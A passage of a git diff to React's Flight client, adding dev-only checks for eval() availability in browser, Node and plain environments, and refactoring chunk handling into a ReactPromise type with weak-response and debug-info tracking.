+  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging
+}
diff --git a/packages/react-client/src/ReactClientDebugConfigBrowser.js b/packages/react-client/src/ReactClientDebugConfigBrowser.js
new file mode 100644
index 000000000000..1bc8ad0a1614
--- /dev/null
+++ b/packages/react-client/src/ReactClientDebugConfigBrowser.js
@@ -0,0 +1,36 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+let hasConfirmedEval = false;
+export function checkEvalAvailabilityOnceDev(): void {
+  if (__DEV__) {
+    if (!hasConfirmedEval) {
+      hasConfirmedEval = true;
+      try {
+        // eslint-disable-next-line no-eval
+        (0, eval)('null');
+      } catch {
+        console.error(
+          'eval() is not supported in this environment. ' +
+            'If this page was served with a `Content-Security-Policy` header, ' +
+            'make sure that `unsafe-eval` is included. ' +
+            'React requires eval() in development mode for various debugging features ' +
+            'like reconstructing callstacks from a different environment.\n' +
+            'React will never use eval() in production mode',
+        );
+      }
+    }
+  } else {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
diff --git a/packages/react-client/src/ReactClientDebugConfigNode.js b/packages/react-client/src/ReactClientDebugConfigNode.js
new file mode 100644
index 000000000000..2579ec1cc1a6
--- /dev/null
+++ b/packages/react-client/src/ReactClientDebugConfigNode.js
@@ -0,0 +1,36 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+let hasConfirmedEval = false;
+export function checkEvalAvailabilityOnceDev(): void {
+  if (__DEV__) {
+    if (!hasConfirmedEval) {
+      hasConfirmedEval = true;
+      try {
+        // eslint-disable-next-line no-eval
+        (0, eval)('null');
+      } catch {
+        console.error(
+          'eval() is not supported in this environment. ' +
+            'This can happen if you started the Node.js process with --disallow-code-generation-from-strings, ' +
+            'or if `eval` was patched by other means. ' +
+            'React requires eval() in development mode for various debugging features ' +
+            'like reconstructing callstacks from a different environment.\n' +
+            'React will never use eval() in production mode',
+        );
+      }
+    }
+  } else {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
diff --git a/packages/react-client/src/ReactClientDebugConfigPlain.js b/packages/react-client/src/ReactClientDebugConfigPlain.js
new file mode 100644
index 000000000000..c5e3b002c28d
--- /dev/null
+++ b/packages/react-client/src/ReactClientDebugConfigPlain.js
@@ -0,0 +1,34 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+let hasConfirmedEval = false;
+export function checkEvalAvailabilityOnceDev(): void {
+  if (__DEV__) {
+    if (!hasConfirmedEval) {
+      hasConfirmedEval = true;
+      try {
+        // eslint-disable-next-line no-eval
+        (0, eval)('null');
+      } catch {
+        console.error(
+          'eval() is not supported in this environment. ' +
+            'React requires eval() in development mode for various debugging features ' +
+            'like reconstructing callstacks from a different environment.\n' +
+            'React will never use eval() in production mode',
+        );
+      }
+    }
+  } else {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
diff --git a/packages/react-client/src/ReactFlightClient.js b/packages/react-client/src/ReactFlightClient.js
index e1d43db1ecff..f67d99ba71de 100644
--- a/packages/react-client/src/ReactFlightClient.js
+++ b/packages/react-client/src/ReactFlightClient.js
@@ -8,17 +8,24 @@
  */
 
 import type {
+  JSONValue,
   Thenable,
   ReactDebugInfo,
+  ReactDebugInfoEntry,
   ReactComponentInfo,
   ReactAsyncInfo,
+  ReactIOInfo,
+  ReactStackTrace,
+  ReactFunctionLocation,
+  ReactErrorInfoDev,
 } from 'shared/ReactTypes';
 import type {LazyComponent} from 'react/src/ReactLazy';
 
 import type {
   ClientReference,
   ClientReferenceMetadata,
-  SSRModuleMap,
+  ServerConsumerModuleMap,
+  ServerManifest,
   StringDecoder,
   ModuleLoading,
 } from './ReactFlightClientConfig';
@@ -33,47 +40,88 @@ import type {
   EncodeFormActionCallback,
 } from './ReactFlightReplyClient';
 
-import type {Postpone} from 'react/src/ReactPostpone';
-
 import type {TemporaryReferenceSet} from './ReactFlightTemporaryReferences';
 
 import {
-  disableStringRefs,
-  enableBinaryFlight,
-  enablePostpone,
-  enableRefAsProp,
-  enableFlightReadableStream,
-  enableOwnerStacks,
+  enableProfilerTimer,
+  enableComponentPerformanceTrack,
+  enableAsyncDebugInfo,
 } from 'shared/ReactFeatureFlags';
 
 import {
   resolveClientReference,
+  resolveServerReference,
   preloadModule,
   requireModule,
+  getModuleDebugInfo,
   dispatchHint,
   readPartialStringChunk,
   readFinalStringChunk,
   createStringDecoder,
   prepareDestinationForModule,
-  printToConsole,
+  bindToConsole,
+  rendererVersion,
+  rendererPackageName,
+  checkEvalAvailabilityOnceDev,
 } from './ReactFlightClientConfig';
 
-import {registerServerReference} from './ReactFlightReplyClient';
+import {
+  createBoundServerReference,
+  registerBoundServerReference,
+} from './ReactFlightReplyClient';
 
 import {readTemporaryReference} from './ReactFlightTemporaryReferences';
 
+import {
+  markAllTracksInOrder,
+  logComponentRender,
+  logDedupedComponentRender,
+  logComponentAborted,
+  logComponentErrored,
+  logIOInfo,
+  logIOInfoErrored,
+  logComponentAwait,
+  logComponentAwaitAborted,
+  logComponentAwaitErrored,
+} from './ReactFlightPerformanceTrack';
+
 import {
   REACT_LAZY_TYPE,
   REACT_ELEMENT_TYPE,
-  REACT_POSTPONE_TYPE,
   ASYNC_ITERATOR,
   REACT_FRAGMENT_TYPE,
 } from 'shared/ReactSymbols';
 
 import getComponentNameFromType from 'shared/getComponentNameFromType';
 
+import {getOwnerStackByComponentInfoInDev} from 'shared/ReactComponentInfoStack';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+
+import {injectInternals} from './ReactFlightClientDevToolsHook';
+
+import {OMITTED_PROP_ERROR} from 'shared/ReactFlightPropertyAccess';
+
+import ReactVersion from 'shared/ReactVersion';
+
 import isArray from 'shared/isArray';
 
+import * as React from 'react';
+
+import type {SharedStateServer} from 'react/src/ReactSharedInternalsServer';
+import type {SharedStateClient} from 'react/src/ReactSharedInternalsClient';
+
+// TODO: This is an unfortunate hack. We shouldn't feature detect the internals
+// like this. It's just that for now we support the same build of the Flight
+// client both in the RSC environment, in the SSR environments as well as the
+// browser client. We should probably have a separate RSC build. This is DEV
+// only though.
+const ReactSharedInteralsServer: void | SharedStateServer = (React: any)
+  .__SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;
+const ReactSharedInternals: SharedStateServer | SharedStateClient =
+  React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE ||
+  ReactSharedInteralsServer;
+
 export type {CallServerCallback, EncodeFormActionCallback};
 
 interface FlightStreamController {
@@ -85,13 +133,11 @@ interface FlightStreamController {
 
 type UninitializedModel = string;
 
-export type JSONValue =
-  | number
-  | null
-  | boolean
-  | string
-  | {+[key: string]: JSONValue}
-  | $ReadOnlyArray<JSONValue>;
+type ProfilingResult = {
+  track: number,
+  endTime: number,
+  component: null | ReactComponentInfo,
+};
 
 const ROW_ID = 0;
 const ROW_TAG = 1;
@@ -107,45 +153,53 @@ const RESOLVED_MODEL = 'resolved_model';
 const RESOLVED_MODULE = 'resolved_module';
 const INITIALIZED = 'fulfilled';
 const ERRORED = 'rejected';
+const HALTED = 'halted'; // DEV-only. Means it never resolves even if connection closes.
+
+const __PROTO__ = '__proto__';
 
 type PendingChunk<T> = {
   status: 'pending',
-  value: null | Array<(T) => mixed>,
-  reason: null | Array<(mixed) => mixed>,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  value: null | Array<InitializationReference | (T => mixed)>,
+  reason: null | Array<InitializationReference | (mixed => mixed)>,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null | SomeChunk<ReactDebugInfoEntry>, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type BlockedChunk<T> = {
   status: 'blocked',
-  value: null | Array<(T) => mixed>,
-  reason: null | Array<(mixed) => mixed>,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  value: null | Array<InitializationReference | (T => mixed)>,
+  reason: null | Array<InitializationReference | (mixed => mixed)>,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type ResolvedModelChunk<T> = {
   status: 'resolved_model',
   value: UninitializedModel,
-  reason: null,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  reason: Response,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null | SomeChunk<ReactDebugInfoEntry>, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type ResolvedModuleChunk<T> = {
   status: 'resolved_module',
   value: ClientReference<T>,
   reason: null,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type InitializedChunk<T> = {
   status: 'fulfilled',
   value: T,
   reason: null | FlightStreamController,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type InitializedStreamChunk<
@@ -154,16 +208,27 @@ type InitializedStreamChunk<
   status: 'fulfilled',
   value: T,
   reason: FlightStreamController,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (ReadableStream) => mixed, reject?: (mixed) => mixed): void,
 };
 type ErroredChunk<T> = {
   status: 'rejected',
   value: null,
   reason: mixed,
-  _response: Response,
-  _debugInfo?: null | ReactDebugInfo,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
+  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
+};
+type HaltedChunk<T> = {
+  status: 'halted',
+  value: null,
+  reason: null,
+  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only
+  _debugChunk: null, // DEV-only
+  _debugInfo: ReactDebugInfo, // DEV-only
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type SomeChunk<T> =
@@ -172,22 +237,26 @@ type SomeChunk<T> =
   | ResolvedModelChunk<T>
   | ResolvedModuleChunk<T>
   | InitializedChunk<T>
-  | ErroredChunk<T>;
+  | ErroredChunk<T>
+  | HaltedChunk<T>;
 
 // $FlowFixMe[missing-this-annot]
-function Chunk(status: any, value: any, reason: any, response: Response) {
+function ReactPromise(status: any, value: any, reason: any) {
   this.status = status;
   this.value = value;
   this.reason = reason;
-  this._response = response;
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    this._children = [];
+  }
   if (__DEV__) {
-    this._debugInfo = null;
+    this._debugChunk = null;
+    this._debugInfo = [];
   }
 }
 // We subclass Promise.prototype so that we get other methods like .catch
-Chunk.prototype = (Object.create(Promise.prototype): any);
+ReactPromise.prototype = (Object.create(Promise.prototype): any);
 // TODO: This doesn't return a new Promise chain unlike the real .then
-Chunk.prototype.then = function <T>(
+ReactPromise.prototype.then = function <T>(
   this: SomeChunk<T>,
   resolve: (value: T) => mixed,
   reject?: (reason: mixed) => mixed,
@@ -203,55 +272,152 @@ Chunk.prototype.then = function <T>(
       initializeModuleChunk(chunk);
       break;
   }
+  if (__DEV__ && enableAsyncDebugInfo) {
+    // Because only native Promises get picked up when we're awaiting we need to wrap
+    // this in a native Promise in DEV. This means that these callbacks are no longer sync
+    // but the lazy initialization is still sync and the .value can be inspected after,
+    // allowing it to be read synchronously anyway.
+    const resolveCallback = resolve;
+    const rejectCallback = reject;
+    const wrapperPromise: Promise<T> = new Promise((res, rej) => {
+      resolve = value => {
+        // $FlowFixMe
+        wrapperPromise._debugInfo = this._debugInfo;
+        res(value);
+      };
+      reject = reason => {
+        // $FlowFixMe
+        wrapperPromise._debugInfo = this._debugInfo;
+        rej(reason);
+      };
+    });
+    wrapperPromise.then(resolveCallback, rejectCallback);
+  }
   // The status might have changed after initialization.
   switch (chunk.status) {
     case INITIALIZED:
-      resolve(chunk.value);
+      if (typeof resolve === 'function') {
+        resolve(chunk.value);
+      }
       break;
     case PENDING:
     case BLOCKED:
-      if (resolve) {
+      if (typeof resolve === 'function') {
         if (chunk.value === null) {
-          chunk.value = ([]: Array<(T) => mixed>);
+          chunk.value = ([]: Array<InitializationReference | (T => mixed)>);
         }
         chunk.value.push(resolve);
       }
-      if (reject) {
+      if (typeof reject === 'function') {
         if (chunk.reason === null) {
-          chunk.reason = ([]: Array<(mixed) => mixed>);
+          chunk.reason = ([]: Array<
+            InitializationReference | (mixed => mixed),
+          >);
         }
         chunk.reason.push(reject);
       }
       break;
+    case HALTED: {
+      break;
+    }
     default:
-      if (reject) {
+      if (typeof reject === 'function') {
         reject(chunk.reason);
       }
       break;
   }
 };
 
-export type FindSourceMapURLCallback = (fileName: string) => null | string;
+export type FindSourceMapURLCallback = (
+  fileName: string,
+  environmentName: string,
+) => null | string;
+
+export type DebugChannelCallback = (message: string) => void;
+
+export type DebugChannel = {
+  hasReadable: boolean,
+  callback: DebugChannelCallback | null,
+};
 
-export type Response = {
-  _bundlerConfig: SSRModuleMap,
+type Response = {
+  _bundlerConfig: ServerConsumerModuleMap,
+  _serverReferenceConfig: null | ServerManifest,
   _moduleLoading: ModuleLoading,
   _callServer: CallServerCallback,
   _encodeFormAction: void | EncodeFormActionCallback,
   _nonce: ?string,
   _chunks: Map<number, SomeChunk<any>>,
-  _fromJSON: (key: string, value: JSONValue) => any,
   _stringDecoder: StringDecoder,
-  _rowState: RowParserState,
-  _rowID: number, // parts of a row ID parsed so far
-  _rowTag: number, // 0 indicates that we're currently parsing the row ID
-  _rowLength: number, // remaining bytes in the row. 0 indicates that we're looking for a newline.
-  _buffer: Array<Uint8Array>, // chunks received so far as part of this row
+  _closed: boolean,
+  _closedReason: mixed,
+  _allowPartialStream: boolean,
   _tempRefs: void | TemporaryReferenceSet, // the set temporary references can be resolved from
+  _timeOrigin: number, // Profiling-only
+  _pendingInitialRender: null | TimeoutID, // Profiling-only,
+  _pendingChunks: number, // DEV-only
+  _weakResponse: WeakResponse, // DEV-only
+  _debugRootOwner?: null | ReactComponentInfo, // DEV-only
+  _debugRootStack?: null | Error, // DEV-only
   _debugRootTask?: null | ConsoleTask, // DEV-only
+  _debugStartTime: number, // DEV-only
+  _debugEndTime?: number, // DEV-only
+  _debugIOStarted: boolean, // DEV-only
   _debugFindSourceMapURL?: void | FindSourceMapURLCallback, // DEV-only
+  _debugChannel?: void | DebugChannel, // DEV-only
+  _blockedConsole?: null | SomeChunk<ConsoleEntry>, // DEV-only
+  _replayConsole: boolean, // DEV-only
+  _rootEnvironmentName: string, // DEV-only, the requested environment name.
+};
+
+// This indirection exists only to clean up DebugChannel when all Lazy References are GC:ed.
+// Therefore we only use the indirection in DEV.
+type WeakResponse = {
+  weak: WeakRef<Response>,
+  response: null | Response, // This is null when there are no pending chunks.
 };
 
+export type {WeakResponse as Response};
+
+function hasGCedResponse(weakResponse: WeakResponse): boolean {
+  return __DEV__ && weakResponse.weak.deref() === undefined;
+}
+
+function unwrapWeakResponse(weakResponse: WeakResponse): Response {
+  if (__DEV__) {
+    const response = weakResponse.weak.deref();
+    if (response === undefined) {
+      // eslint-disable-next-line react-internal/prod-error-codes
+      throw new Error(
+        'We did not expect to receive new data after GC:ing the response.',
+      );
+    }
+    return response;
+  } else {
+    return (weakResponse: any); // In prod we just use the real Response directly.
+  }
+}
+
+function getWeakResponse(response: Response): WeakResponse {
+  if (__DEV__) {
+    return response._weakResponse;
+  } else {
+    return (response: any); // In prod we just use the real Response directly.
+  }
+}
+
+function closeDebugChannel(debugChannel: DebugChannel): void {
+  if (debugChannel.callback) {
+    debugChannel.callback('');
+  }
+}
+
+// If FinalizationRegistry doesn't exist, we cannot use the debugChannel.
+const debugChannelRegistry =
+  __DEV__ && typeof FinalizationRegistry === 'function'
+    ? new FinalizationRegistry(closeDebugChannel)
+    : null;
+
 function readChunk<T>(chunk: SomeChunk<T>): T {
   // If we have resolved content, we try to initialize it first which
   // might put us back into one of the other states.
@@ -269,6 +435,7 @@ function readChunk<T>(chunk: SomeChunk<T>): T {
       return chunk.value;
     case PENDING:
     case BLOCKED:
+    case HALTED:
       // eslint-disable-next-line no-throw-literal
       throw ((chunk: any): Thenable<T>);
     default:
@@ -276,47 +443,248 @@ function readChunk<T>(chunk: SomeChunk<T>): T {
   }
 }
 
-export function getRoot<T>(response: Response): Thenable<T> {
+export function getRoot<T>(weakResponse: WeakResponse): Thenable<T> {
+  const response = unwrapWeakResponse(weakResponse);
   const chunk = getChunk(response, 0);
   return (chunk: any);
 }
 
 function createPendingChunk<T>(response: Response): PendingChunk<T> {
+  if (__DEV__) {
+    // Retain a strong reference to the Response while we wait for the result.
+    if (response._pendingChunks++ === 0) {
+      response._weakResponse.response = response;
+      if (response._pendingInitialRender !== null) {
+        clearTimeout(response._pendingInitialRender);
+        response._pendingInitialRender = null;
+      }
+    }
+  }
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(PENDING, null, null, response);
+  return new ReactPromise(PENDING, null, null);
+}
+
+function releasePendingChunk(response: Response, chunk: SomeChunk<any>): void {
+  if (__DEV__ && chunk.status === PENDING) {
+    if (--response._pendingChunks === 0) {
+      // We're no longer waiting for any more chunks. We can release the strong reference
+      // to the response. We'll regain it if we ask for any more data later on.
+      response._weakResponse.response = null;
+      // Wait a short period to see if any more chunks get asked for. E.g. by a React render.
+      // These chunks might discover more pending chunks.
+      // If we don't ask for more then we assume that those chunks weren't blocking initial
+      // render and are excluded from the performance track.
+      response._pendingInitialRender = setTimeout(
+        flushInitialRenderPerformance.bind(null, response),
+        100,
+      );
+    }
+  }
 }
 
 function createBlockedChunk<T>(response: Response): BlockedChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(BLOCKED, null, null, response);
+  return new ReactPromise(BLOCKED, null, null);
 }
 
 function createErrorChunk<T>(
   response: Response,
-  error: Error | Postpone,
+  error: mixed,
 ): ErroredChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(ERRORED, null, error, response);
+  return new ReactPromise(ERRORED, null, error);
+}
+
+function filterDebugInfo(
+  response: Response,
+  value: {_debugInfo: ReactDebugInfo, ...},
+) {
+  if (response._debugEndTime === null) {
+    // No end time was defined, so we keep all debug info entries.
+    return;
+  }
+
+  // Remove any debug info entries after the defined end time. For async info
+  // that means we're including anything that was awaited before the end time,
+  // but it doesn't need to be resolved before the end time.
+  const relativeEndTime =
+    response._debugEndTime -
+    // $FlowFixMe[prop-missing]
+    performance.timeOrigin;
+  const debugInfo = [];
+  for (let i = 0; i < value._debugInfo.length; i++) {
+    const info = value._debugInfo[i];
+    if (typeof info.time === 'number' && info.time > relativeEndTime) {
+      break;
+    }
+    debugInfo.push(info);
+  }
+  value._debugInfo = debugInfo;
+}
+
+function moveDebugInfoFromChunkToInnerValue<T>(
+  chunk: InitializedChunk<T> | InitializedStreamChunk<any>,
+  value: T,
+): void {
+  // Remove the debug info from the initialized chunk, and add it to the inner
+  // value instead. This can be a React element, an array, or an uninitialized
+  // Lazy.
+  const resolvedValue = resolveLazy(value);
+  if (
+    typeof resolvedValue === 'object' &&
+    resolvedValue !== null &&
+    (isArray(resolvedValue) ||
+      typeof resolvedValue[ASYNC_ITERATOR] === 'function' ||
+      resolvedValue.$$typeof === REACT_ELEMENT_TYPE ||
+      resolvedValue.$$typeof === REACT_LAZY_TYPE)
+  ) {
+    const debugInfo = chunk._debugInfo.splice(0);
+    if (isArray(resolvedValue._debugInfo)) {
+      // $FlowFixMe[method-unbinding]
+      resolvedValue._debugInfo.unshift.apply(
+        resolvedValue._debugInfo,
+        debugInfo,
+      );
+    } else if (!Object.isFrozen(resolvedValue)) {
+      Object.defineProperty((resolvedValue: any), '_debugInfo', {
+        configurable: false,
+        enumerable: false,
+        writable: true,
+        value: debugInfo,
+      });
+    }
+    // TODO: If the resolved value is a frozen element (e.g. a client-created
+    // element from a temporary reference, or a JSX element exported as a client
+    // reference), server debug info is currently dropped because the element
+    // can't be mutated. We should probably clone the element so each rendering
+    // context gets its own mutable copy with the correct debug info.
+  }
+}
+
+function processChunkDebugInfo<T>(
+  response: Response,
+  chunk: InitializedChunk<T> | InitializedStreamChunk<any>,
+  value: T,
+): void {
+  filterDebugInfo(response, chunk);
+  moveDebugInfoFromChunkToInnerValue(chunk, value);
+}
+
+function wakeChunk<T>(
+  response: Response,
+  listeners: Array<InitializationReference | (T => mixed)>,
+  value: T,
+  chunk: InitializedChunk<T>,
+): void {
+  for (let i = 0; i < listeners.length; i++) {
+    const listener = listeners[i];
+    if (typeof listener === 'function') {
+      listener(value);
+    } else {
+      fulfillReference(response, listener, value, chunk);
+    }
+  }
+
+  if (__DEV__) {
+    processChunkDebugInfo(response, chunk, value);
+  }
 }
 
-function wakeChunk<T>(listeners: Array<(T) => mixed>, value: T): void {
+function rejectChunk(
+  response: Response,
+  listeners: Array<InitializationReference | (mixed => mixed)>,
+  error: mixed,
+): void {
   for (let i = 0; i < listeners.length; i++) {
     const listener = listeners[i];
-    listener(value);
+    if (typeof listener === 'function') {
+      listener(error);
+    } else {
+      rejectReference(response, listener.handler, error);
+    }
+  }
+}
+
+function resolveBlockedCycle<T>(
+  resolvedChunk: SomeChunk<T>,
+  reference: InitializationReference,
+): null | InitializationHandler {
+  const referencedChunk = reference.handler.chunk;
+  if (referencedChunk === null) {
+    return null;
+  }
+  if (referencedChunk === resolvedChunk) {
+    // We found the cycle. We can resolve the blocked cycle now.
+    return reference.handler;
+  }
+  const resolveListeners = referencedChunk.value;
+  if (resolveListeners !== null) {
+    for (let i = 0; i < resolveListeners.length; i++) {
+      const listener = resolveListeners[i];
+      if (typeof listener !== 'function') {
+        const foundHandler = resolveBlockedCycle(resolvedChunk, listener);
+        if (foundHandler !== null) {
+          return foundHandler;
+        }
+      }
+    }
   }
+  return null;
 }
 
 function wakeChunkIfInitialized<T>(
+  response: Response,
   chunk: SomeChunk<T>,
-  resolveListeners: Array<(T) => mixed>,
-  rejectListeners: null | Array<(mixed) => mixed>,
+  resolveListeners: Array<InitializationReference | (T => mixed)>,
+  rejectListeners: null | Array<InitializationReference | (mixed => mixed)>,
 ): void {
   switch (chunk.status) {
     case INITIALIZED:
-      wakeChunk(resolveListeners, chunk.value);
+      wakeChunk(response, resolveListeners, chunk.value, chunk);
       break;
-    case PENDING:
     case BLOCKED:
+      // It is possible that we're blocked on our own chunk if it's a cycle.
+      // Before adding back the listeners to the chunk, let's check if it would
+      // result in a cycle.
+      for (let i = 0; i < resolveListeners.length; i++) {
+        const listener = resolveListeners[i];
+        if (typeof listener !== 'function') {
+          const reference: InitializationReference = listener;
+          const cyclicHandler = resolveBlockedCycle(chunk, reference);
+          if (cyclicHandler !== null) {
+            // This reference points back to this chunk. We can resolve the cycle by
+            // using the value from that handler.
+            fulfillReference(response, reference, cyclicHandler.value, chunk);
+            resolveListeners.splice(i, 1);
+            i--;
+            if (rejectListeners !== null) {
+              const rejectionIdx = rejectListeners.indexOf(reference);
+              if (rejectionIdx !== -1) {
+                rejectListeners.splice(rejectionIdx, 1);
+              }
+            }
+            // The status might have changed after fulfilling the reference.
+            switch ((chunk: SomeChunk<T>).status) {
+              case INITIALIZED:
+                const initializedChunk: InitializedChunk<T> = (chunk: any);
+                wakeChunk(
+                  response,
+                  resolveListeners,
+                  initializedChunk.value,
+                  initializedChunk,
+                );
+                return;
+              case ERRORED:
+                if (rejectListeners !== null) {
+                  rejectChunk(response, rejectListeners, chunk.reason);
+                }
+                return;
+            }
+          }
+        }
+      }
+    // Fallthrough
+    case PENDING:
       if (chunk.value) {
         for (let i = 0; i < resolveListeners.length; i++) {
           chunk.value.push(resolveListeners[i]);
@@ -338,30 +706,65 @@ function wakeChunkIfInitialized<T>(
       break;
     case ERRORED:
       if (rejectListeners) {
-        wakeChunk(rejectListeners, chunk.reason);
+        rejectChunk(response, rejectListeners, chunk.reason);
       }
       break;
   }
 }
 
-function triggerErrorOnChunk<T>(chunk: SomeChunk<T>, error: mixed): void {
+function triggerErrorOnChunk<T>(
+  response: Response,
+  chunk: SomeChunk<T>,
+  error: mixed,
+): void {
   if (chunk.status !== PENDING && chunk.status !== BLOCKED) {
-    if (enableFlightReadableStream) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      // $FlowFixMe[incompatible-call]: The error method should accept mixed.
-      controller.error(error);
-    }
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    // $FlowFixMe[incompatible-call]: The error method should accept mixed.
+    controller.error(error);
     return;
   }
+  releasePendingChunk(response, chunk);
   const listeners = chunk.reason;
+
+  if (__DEV__ && chunk.status === PENDING) {
+    // Lazily initialize any debug info and block the initializing chunk on any unresolved entries.
+    if (chunk._debugChunk != null) {
+      const prevHandler = initializingHandler;
+      const prevChunk = initializingChunk;
+      initializingHandler = null;
+      const cyclicChunk: BlockedChunk<T> = (chunk: any);
+      cyclicChunk.status = BLOCKED;
+      cyclicChunk.value = null;
+      cyclicChunk.reason = null;
+      if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {
+        initializingChunk = cyclicChunk;
+      }
+      try {
+        initializeDebugChunk(response, chunk);
+        if (initializingHandler !== null) {
+          if (initializingHandler.errored) {
+            // Ignore error parsing debug info, we'll report the original error instead.
+          } else if (initializingHandler.deps > 0) {
+            // TODO: Block the resolution of the error until all the debug info has loaded.
+            // We currently don't have a way to throw an error after all dependencies have
+            // loaded because we currently treat errors as immediately cancelling the handler.
+          }
+        }
+      } finally {
+        initializingHandler = prevHandler;
+        initializingChunk = prevChunk;
+      }
+    }
+  }
+
   const erroredChunk: ErroredChunk<T> = (chunk: any);
   erroredChunk.status = ERRORED;
   erroredChunk.reason = error;
   if (listeners !== null) {
-    wakeChunk(listeners, error);
+    rejectChunk(response, listeners, error);
   }
 }
 
@@ -370,7 +773,7 @@ function createResolvedModelChunk<T>(
   value: UninitializedModel,
 ): ResolvedModelChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(RESOLVED_MODEL, value, null, response);
+  return new ReactPromise(RESOLVED_MODEL, value, response);
 }
 
 function createResolvedModuleChunk<T>(
@@ -378,7 +781,7 @@ function createResolvedModuleChunk<T>(
   value: ClientReference<T>,
 ): ResolvedModuleChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(RESOLVED_MODULE, value, null, response);
+  return new ReactPromise(RESOLVED_MODULE, value, null);
 }
 
 function createInitializedTextChunk(
@@ -386,7 +789,7 @@ function createInitializedTextChunk(
   value: string,
 ): InitializedChunk<string> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(INITIALIZED, value, null, response);
+  return new ReactPromise(INITIALIZED, value, null);
 }
 
 function createInitializedBufferChunk(
@@ -394,7 +797,7 @@ function createInitializedBufferChunk(
   value: $ArrayBufferView | ArrayBuffer,
 ): InitializedChunk<Uint8Array> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(INITIALIZED, value, null, response);
+  return new ReactPromise(INITIALIZED, value, null);
 }
 
 function createInitializedIteratorResultChunk<T>(
@@ -403,7 +806,7 @@ function createInitializedIteratorResultChunk<T>(
   done: boolean,
 ): InitializedChunk<IteratorResult<T, T>> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(INITIALIZED, {done: done, value: value}, null, response);
+  return new ReactPromise(INITIALIZED, {done: done, value: value}, null);
 }
 
 function createInitializedStreamChunk<
@@ -413,10 +816,16 @@ function createInitializedStreamChunk<
   value: T,
   controller: FlightStreamController,
 ): InitializedChunk<T> {
+  if (__DEV__) {
+    // Retain a strong reference to the Response while we wait for chunks.
+    if (response._pendingChunks++ === 0) {
+      response._weakResponse.response = response;
+    }
+  }
